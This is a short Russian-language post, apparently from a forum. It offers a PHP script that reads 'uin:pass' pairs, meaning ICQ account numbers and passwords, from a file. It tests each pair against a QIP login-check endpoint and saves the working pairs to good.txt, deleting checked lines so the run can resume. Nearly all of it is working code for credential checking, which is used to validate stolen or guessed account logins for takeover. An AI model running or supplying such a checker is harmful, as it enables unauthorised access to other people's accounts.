уин:пасс
Пробрученые уины он удаляет из файла (чтобы можно было отключить, а потом начать с последнего). Гуды гладет в good.txt .
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function write($path,$page_body)
{
$file=fopen($path,"w");
fwrite($file,$page_body);
fclose($file);
}
function read($path)
{
$file=fopen($path,"r");
$bufer = fread($file,filesize($path));
fclose($file);
return($bufer);
}
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
$read = explode("\r\n",read('source.txt'));
$count=count($read);
for($i=0;$i<$count;$i++)
{
list($uin,$pass) = explode(":",$read[$i]);
$result = curl('http://start.qip.ru/reg/test?user='.$uin.'&pass='.$pass,'');
if($result=='200') add('good.txt',$read[$i]."\r\n");
unset($read[$i]);
$zapis = implode("\r\n",$read);
write('source.txt',$zapis);
}
echo 'end';
?>